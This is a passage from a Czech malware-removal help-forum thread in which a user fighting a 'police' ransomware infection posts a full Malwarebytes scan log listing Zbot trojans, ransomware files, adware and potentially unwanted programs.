Combofix pracoval a po dokončení došlo k restartu, po restartu se opět objevilo varující okno od onoho "policejního" virusu. A koukal jsem, že některé soubory ani nedokázal combofix smazat! Měl jsem vypnuté štíty u Avastu, kvůli combofixu, tak nevím, zda jsem ten vir nechytl opět. Těžko říci, hlavně, abych se ho zbavil a už se nezobrazoval.

#8 Příspěvek od **Rudy** » 04 led 2014 22:56

Udělejte kompletní sken MBAM: http://www.malwarebytes.org/mbam.php a dejte log. Předem nic nemažte.

Antivirus94 · #9 Příspěvek od **Antivirus94** » 04 led 2014 23:59

Zde je log z MBAM!

Viry jsem zatím nemazal, ale škodlivých objektů bylo něco přes 200.

Malwarebytes Anti-Malware (Zkušební verze Malwarebytes Anti-Malware.) 1.75.0.1300
www.malwarebytes.org

Verze: v2014.01.04.06

Windows XP Service Pack 3 x86 NTFS
Internet Explorer 8.0.6001.18702
123 :: DOMA-1A5BCF9C52 [administrátor]

Ochrana: Povolena

4.1.2014 23:26:37
MBAM-log-2014-01-04 (23-56-11).txt

Typ: Kompletní kontrola (C:\|E:\|F:\|)
Nastavení kontroly povoleno: Paměť | Po spuštění | Registr | Systémové soubory | Heuristická analýza Extra | Heuristická analýza Shuriken | PUP | PUM
Nastavení kontroly zakázáno: P2P
Kontrolované objekty: 253370
Uplynulý čas: 28 minut, 47 sekund

Nalezené procesy v paměti: 2
C:\Program Files\Web Assistant\ExtensionUpdaterService.exe (PUP.Optional.SweetPacks.A) -> 524 -> Nebyla provedena žádná instrukce.
C:\WINDOWS\system32\dmwu.exe (Adware.InstallBrain) -> 1600 -> Nebyla provedena žádná instrukce.

Nalezené moduly v paměti: 1
C:\Documents and Settings\123\Local Settings\Data aplikací\TBHostSupport\TBHostSupport.dll (PUP.Optional.Conduit) -> Nebyla provedena žádná instrukce.

Nalezené klíče v registru: 13
HKLM\SYSTEM\CurrentControlSet\Services\Web Assistant (PUP.Optional.SweetPacks.A) -> Nebyla provedena žádná instrukce.
HKCR\CLSID\{3c471948-f874-49f5-b338-4f214a2ee0b1} (PUP.Optional.Conduit) -> Nebyla provedena žádná instrukce.
HKCR\CrossriderApp0005060.BHO (PUP.Optional.CrossRider.A) -> Nebyla provedena žádná instrukce.
HKCR\CrossriderApp0005060.FBApi (PUP.Optional.CrossRider.A) -> Nebyla provedena žádná instrukce.
HKCR\CrossriderApp0005060.FBApi.1 (PUP.Optional.CrossRider.A) -> Nebyla provedena žádná instrukce.
HKCU\SOFTWARE\WNLT (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
HKCU\Software\ConduitSearchScopes (PUP.Optional.Conduit.A) -> Nebyla provedena žádná instrukce.
HKCU\SOFTWARE\INSTALLEDBROWSEREXTENSIONS\215 APPS (PUP.Optional.CrossFire.SA) -> Nebyla provedena žádná instrukce.
HKCU\SOFTWARE\SWEETIM (PUP.Optional.SweetIM.A) -> Nebyla provedena žádná instrukce.
HKLM\SOFTWARE\WNLT (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
HKLM\SYSTEM\CurrentControlSet\Services\IBUpdaterService (Adware.InstallBrain) -> Nebyla provedena žádná instrukce.
HKLM\SOFTWARE\SWEETIM (PUP.Optional.SweetIM.A) -> Nebyla provedena žádná instrukce.
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WNLT (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.

Nalezené hodnoty v registru: 9
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run|WorBummb (Trojan.Zbot.FV) -> Data: C:\Documents and Settings\123\Local Settings\Data aplikací\NativeMessaging\LVENIVqh.exe -> Nebyla provedena žádná instrukce.
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run|TBHostSupport (PUP.Optional.Conduit) -> Data: "C:\WINDOWS\system32\Rundll32.exe" "C:\Documents and Settings\123\Local Settings\Data aplikací\TBHostSupport\TBHostSupport.dll",DLLRunTBHostSupportPlugin -> Nebyla provedena žádná instrukce.
HKCU\SOFTWARE\WNLT|URL (PUP.Optional.InstallBrain.A) -> Data: MYSTART -> Nebyla provedena žádná instrukce.
HKCU\Software\InstalledBrowserExtensions\215 Apps|5060 (PUP.Optional.CrossFire.SA) -> Data: Savings Sidekick -> Nebyla provedena žádná instrukce.
HKCU\Software\SweetIM|simapp_id (PUP.Optional.SweetIM.A) -> Data: 92824433622969027 -> Nebyla provedena žádná instrukce.
HKLM\SOFTWARE\Mozilla\Firefox\extensions|{336D0C35-8A85-403a-B9D2-65C292C39087} (PUP.Optional.Incredibar) -> Data: C:\Program Files\Web Assistant\Firefox -> Nebyla provedena žádná instrukce.
HKLM\SOFTWARE\Mozilla\Firefox\extensions|{FE1DEEEA-DB6D-44b8-83F0-34FC0F9D1052} (PUP.Optional.Incredibar) -> Data: C:\Program Files\Web Assistant\Firefox -> Nebyla provedena žádná instrukce.
HKLM\SOFTWARE\WNLT|PDV (PUP.Optional.InstallBrain.A) -> Data: [UPGRADEONIDLE] [BLACKLIST=1] -> Nebyla provedena žádná instrukce.
HKLM\Software\SweetIM|simapp_id (PUP.Optional.SweetIM.A) -> Data: 92824433622969027 -> Nebyla provedena žádná instrukce.

Nalezené datové položky v registru: 4
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System|DisableTaskMgr (PUM.Hijack.TaskManager) -> Špatný: (1) Dobrý: (0) -> Nebyla provedena žádná instrukce.
HKLM\SOFTWARE\Microsoft\Security Center|AntiVirusDisableNotify (PUM.Disabled.SecurityCenter) -> Špatný: (1) Dobrý: (0) -> Nebyla provedena žádná instrukce.
HKLM\SOFTWARE\Microsoft\Security Center|FirewallDisableNotify (PUM.Disabled.SecurityCenter) -> Špatný: (1) Dobrý: (0) -> Nebyla provedena žádná instrukce.
HKLM\SOFTWARE\Microsoft\Security Center|UpdatesDisableNotify (PUM.Disabled.SecurityCenter) -> Špatný: (1) Dobrý: (0) -> Nebyla provedena žádná instrukce.

Nalezené složky: 8
C:\Documents and Settings\All Users\Data aplikací\IBUpdaterService (Adware.InstallBrain) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\Dirty (Trojan.Ransom) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\Babylon (PUP.Optional.Babylon.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\WINDOWS\system32\WNLT\Installation (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
C:\WINDOWS\system32\WNLT\Installation\Uninstall (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Local Settings\Data aplikací\TBHostSupport (PUP.Optional.Conduit) -> Nebyla provedena žádná instrukce.

Nalezené soubory: 172
C:\Program Files\Web Assistant\ExtensionUpdaterService.exe (PUP.Optional.SweetPacks.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Local Settings\Data aplikací\NativeMessaging\LVENIVqh.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\Program Files\Conduit\Community Alerts\Alert.dll (PUP.Optional.Conduit) -> Nebyla provedena žádná instrukce.
C:\Program Files\Online Services\ejiIIvws.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\Program Files\Uninstall Information\ib_uninst_455\uninstall.exe (Adware.InstallBrain) -> Nebyla provedena žádná instrukce.
C:\Program Files\Uninstall Information\ib_uninst_519\uninstall.exe (Adware.InstallBrain) -> Nebyla provedena žádná instrukce.
C:\Program Files\Uninstall Information\ib_uninst_532\uninstall.exe (Adware.InstallBrain) -> Nebyla provedena žádná instrukce.
C:\Qoobox\Quarantine\C\Program Files\Savings Sidekick\Savings Sidekick.dll.vir (PUP.CrossRider.SSK) -> Nebyla provedena žádná instrukce.
C:\Qoobox\Quarantine\C\Program Files\Savings Sidekick\Savings Sidekick.exe.vir (PUP.CrossRider.SSK) -> Nebyla provedena žádná instrukce.
C:\Qoobox\Quarantine\C\Program Files\Savings Sidekick\Savings SidekickGui.exe.vir (PUP.CrossRider.SSK) -> Nebyla provedena žádná instrukce.
C:\Qoobox\Quarantine\C\Program Files\Savings Sidekick\Uninstall.exe.vir (PUP.CrossRider.SSK) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP400\A0089999.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP400\A0090013.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP400\A0090023.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP400\A0090090.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP400\A0090099.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP400\A0090121.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP401\A0090220.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP401\A0090241.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP402\A0090291.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP402\A0090330.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP403\A0090455.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP403\A0090570.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP404\A0090669.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP404\A0090723.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP405\A0090820.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP405\A0090903.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP406\A0090982.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP406\A0091065.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP407\A0091208.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP407\A0091231.exe (PUP.Optional.Conduit.A) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP407\A0091241.exe (PUP.Optional.Conduit.A) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP407\A0091247.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP407\A0091284.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP407\A0091330.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP408\A0091591.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP408\A0091676.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP408\A0091717.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP409\A0091770.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP409\A0091771.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP409\A0091898.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP409\A0091945.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP410\A0092003.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP410\A0092221.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP410\A0092290.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP410\A0092324.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP410\A0092378.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP410\A0092399.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP410\A0092431.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP410\A0092461.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP410\A0092462.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP410\A0092604.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP410\A0092694.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP410\A0092734.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP410\A0092754.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP411\A0093222.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP412\A0093256.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP412\A0093277.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP412\A0093361.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP412\A0093468.dll (PUP.Optional.BabylonToolBar.A) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP412\A0093470.dll (PUP.Optional.BabylonToolBar.A) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP412\A0093471.dll (PUP.Optional.BabylonToolBar.A) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP412\A0093472.exe (PUP.Optional.BabylonToolBar.A) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP412\A0093473.exe (PUP.Optional.BabylonToolBar.A) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP412\A0093484.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP412\A0093494.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP413\A0093541.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP413\A0093556.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP414\A0094055.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP414\A0094133.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP414\A0094162.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP414\A0094196.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP414\A0094209.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP415\A0094274.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP415\A0094303.exe (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP415\A0094305.exe (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP415\A0094311.exe (PUP.Optional.Sweetpacks) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP415\A0094316.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP415\A0094342.dll (PUP.Optional.Sweetpacks) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP415\A0094344.exe (PUP.Optional.InstallBrain.A) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP416\A0094367.dll (PUP.Optional.SweetIM) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP416\A0094373.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP416\A0094386.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP416\A0095408.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP416\A0095434.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP416\A0095467.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP416\A0095480.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP416\A0095501.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP416\A0096501.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP416\A0096522.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP416\A0096560.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP416\A0096610.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP416\A0096645.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP416\A0096659.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP417\A0096678.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP417\A0096696.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP417\A0096728.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP417\A0096765.dll (PUP.CrossRider.SSK) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP417\A0096766.exe (PUP.CrossRider.SSK) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP417\A0096769.exe (PUP.CrossRider.SSK) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP417\A0096770.exe (PUP.CrossRider.SSK) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0096871.exe (PUP.Optional.Conduit) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0096873.dll (PUP.Optional.Conduit) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0096882.dll (PUP.Optional.Conduit) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0096884.dll (PUP.Optional.Conduit) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0096886.dll (PUP.Optional.Conduit) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0096891.dll (PUP.Optional.Conduit) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0096896.exe (PUP.Optional.Conduit.A) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0096897.exe (PUP.Optional.Conduit.A) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0097050.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0098167.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0097191.dll (PUP.Optional.Conduit) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0097192.dll (PUP.Optional.Conduit) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0097194.dll (PUP.Optional.Conduit) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0097195.dll (PUP.Optional.Conduit) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0099167.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\System Volume Information\_restore{8E603870-7A7E-481C-85D8-F184A6B067CD}\RP418\A0100167.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Dokumenty\Hudba\BestCodecsPack.exe (Adware.InstallBrain) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Local Settings\temp\kPKPygCf.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Nabídka Start\Programy\Po spuštění\OhuSpHOt.exe (Trojan.Zbot.FV) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Plocha\MoviesSetup.exe (PUP.Optional.Inbox) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Plocha\TVSetup.exe (PUP.Optional.Inbox) -> Nebyla provedena žádná instrukce.
E:\!záloha!\AdbAcr8ProCZ\Adobe Acrobat 8 Professional_CZ\Crack\keygen\Acrobat 8 keygen + Activation.exe (RiskWare.Tool.CK) -> Nebyla provedena žádná instrukce.
E:\!záloha!\pálení\nero\Keygenerator.exe (Hacktool.Gen) -> Nebyla provedena žádná instrukce.
E:\!záloha!\pálení\nero\Ahead.Nero.v7.2.3.2b.Incl.Keymaker-EMBRACE\keygen.exe (RiskWare.Tool.CK) -> Nebyla provedena žádná instrukce.
E:\!záloha!\pálení\nero\Nero 8.3.2.1\keygen.exe (Trojan.Agent) -> Nebyla provedena žádná instrukce.
E:\!záloha!\viry\NOD32 2.50.19. CZ + CRACK\NOD32-FiX-v1.3.exe (PUP.RiskWareTool.CK) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\All Users\Data aplikací\IBUpdaterService\repository.xml (Adware.InstallBrain) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\Dirty\alertwall.jpg (Trojan.Ransom) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\Dirty\DirtyDecrypt.exe (Trojan.Ransom) -> Nebyla provedena žádná instrukce.
C:\Program Files\Dirty\DirtyDecrypt.exe (Trojan.Ransom) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Local Settings\Data aplikací\Dirty\DirtyDecrypt.exe (Trojan.Ransom) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\Babylon\log_file.txt (PUP.Optional.Babylon.A) -> Nebyla provedena žádná instrukce.
C:\WINDOWS\system32\dmwu.exe (Adware.InstallBrain) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\1.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\a.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\b.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\c.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\d.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\e.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
C:\Documents and Settings\123\Data aplikací\PriceGong\Data\f.txt (PUP.Optional.PriceGong.A) -> Nebyla provedena žádná instrukce.
